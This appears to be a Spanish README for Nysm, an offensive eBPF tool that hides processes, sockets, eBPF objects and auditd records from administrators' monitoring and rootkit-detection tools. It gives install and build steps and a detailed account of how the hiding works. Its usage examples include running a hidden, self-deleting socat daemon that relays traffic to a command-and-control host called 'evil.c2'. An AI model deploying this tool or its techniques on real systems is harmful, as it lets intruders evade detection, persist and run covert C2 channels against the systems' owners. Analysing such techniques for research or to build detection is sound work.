Con el aumento en la popularidad de las herramientas ofensivas basadas en eBPF, desde robadores de credenciales hasta rootkits que ocultan su propio PID.
Nos planteamos la siguiente pregunta: ¿Sería posible hacer que eBPF sea invisible a sí mismo? A partir de ahí, creamos Nysm, un contenedor sigiloso de eBPF diseñado para hacer que las herramientas ofensivas pasen desapercibidas para los administradores del sistema, no solo ocultando eBPF, sino mucho más:
bpftool
bpflist-bpfcc
ps
top
sockstat
ss
rkhunter
chkrootkit
lsof
auditd
- etc.
Todas estas herramientas quedan ciegas a lo que atraviesa Nysm. Este oculta:
- Nuevos programas eBPF
- Nuevos mapas eBPF 🗺️
- Nuevos enlaces eBPF 🔗
- Nuevos registros de logs generados por Auditd 📰
- Nuevos PIDs 🪪
- Nuevos sockets 🔌
Advertencia
: Esta herramienta es una simple demostración de las capacidades de eBPF como tal. No pretende ser exhaustiva. Sin embargo, las solicitudes de extracción son más que bienvenidas.
Instalación
Requisitos:
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y
Encabezados de Linux:
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
Compilación:
cd ./nysm/src/
make
Uso
Nysm es un programa simple que se ejecuta antes del comando deseado.
Uso:
nysm [OPCIÓN...] COMANDO
Contenedor sigiloso de eBPF.
-d, --detach Ejecutar el COMANDO en segundo plano.
-r, --rm Autodestrucción después de la ejecución.
-v, --verbose Producir salida detallada.
-h, --help Mostrar esta ayuda.
--usage Mostrar un mensaje de uso breve.
Ejemplos:
# Ejecutar un bash oculto:
./nysm bash
# Ejecutar un ssh oculto y eliminarlo:
./nysm -r ssh user@dominio
# Ejecutar un socat oculto como daemon y eliminarlo:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Cómo funciona
En general:
Dado que eBPF no puede sobrescribir valores devueltos o direcciones del kernel, nuestro objetivo es encontrar la llamada de nivel más bajo que interactúa con una dirección de espacio de usuario para sobrescribir su valor y ocultar los objetos deseados. Para diferenciar los eventos de Nysm de los demás, todo se ejecuta dentro de un espacio de nombres PID separado.
Ocultar objetos eBPF: bpftool
tiene algunas características que Nysm quiere evadir: bpftool prog list
, bpftool map list
y bpftool link list
. Como cualquier programa eBPF, bpftool
utiliza la llamada al sistema bpf()
, específicamente con los comandos BPF_PROG_GET_NEXT_ID
, BPF_MAP_GET_NEXT_ID
y BPF_LINK_GET_NEXT_ID
. El resultado de estas llamadas se almacena en la dirección de espacio de usuario señalada por el atributo y el argumento. Para sobrescribir la entrada y almacenar la dirección señalada en un mapa, Nysm espera a la llamada bpf()
y establece un punto de rastreo en la salida de bpf()
. Cuando existe, Nysm puede leer y escribir a través de la estructura bpf_attr
. Después de cada punto de rastreo de salida BPF_*_GET_NEXT_ID
, cuando bpf()
existe, bpf_attr.start_id
se reemplaza por bpf_attr.next_id
. Para ocultar IDs específicos, verifica bpf_attr.next_id
y lo reemplaza con el próximo ID que no se creó en Nysm. Los IDs de programa, mapa y enlace se recopilan de security_bpf_prog()
, security_bpf_map()
y bpf_link_prime()
.
Ocultar registros de Auditd: Auditd recibe sus registros de recvfrom()
, que almacena sus mensajes en un búfer. Si el mensaje recibido fue generado por un proceso de Nysm a través de audit_log_end()
, reemplaza la longitud del mensaje en la cabecera nlmsghdr
por 0.
Ocultar PIDs: Ocultar PIDs con eBPF no es nada nuevo. Nysm oculta los nuevos PIDs de alloc_pid()
de getdents64()
en /proc
cambiando la longitud del registro anterior. Como getdents64()
requiere recorrer todos sus archivos, se alcanza fácilmente el límite de instrucciones de eBPF. Por lo tanto, Nysm utiliza llamadas de cola antes de alcanzarlo.
Ocultar sockets: Ocultar sockets es un término grande. De hecho, los sockets abiertos ya están ocultos para muchas herramientas, ya que no pueden encontrar el proceso en /proc
. Sin embargo, ss
utiliza la bandera /proc
que devuelve todos los sockets abiertos actualmente. Después de eso, ss
utiliza socket()
con NETLINK_SOCK_DIAG
, recibe el resultado a través de recvmsg()
en un búfer de mensajes y el valor devuelto es la longitud de todos estos mensajes combinados. Aquí, se aplica el mismo método que para los PIDs: se modifica la longitud del mensaje anterior para ocultar los sockets de Nysm. Se recopilan de las llamadas connect()
y bind()
.
Limitaciones: A pesar del mejor esfuerzo, Nysm todavía tiene algunas limitaciones. Cualquier herramienta que no cierre sus descriptores de archivos detectará los procesos de Nysm creados mientras están abiertos. Por ejemplo, si se ejecuta ./nysm bash
, los procesos no se mostrarán. Pero, si se crea otro proceso desde ese bash mientras top
está en ejecución, el nuevo proceso se detectará. El mismo problema ocurre con sockets y herramientas como nethogs. Los registros del kernel, como nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
, pueden aparecer varias veces debido al verificador eBPF en la ejecución de Nysm. Se dejan muchas trazas escritas en archivos, ya que enganchar read()
y write()
en /proc/net/tcp
o /sys/kernel/debug/tracing/enabled_functions
sería demasiado pesado (pero aún posible). Ocultar sockets puede ser desafiante, ya que un nuevo socket puede aparecer al principio del búfer, y Nysm no puede ocultarlo con un registro precedente (esto no se aplica a los PIDs). Una solución rápida podría ser cambiar de lugar el primero y el próximo socket legítimo, pero ¿qué pasa si un socket está en el búfer por sí mismo? Por lo tanto, Nysm modifica la información del primer socket con valores codificados.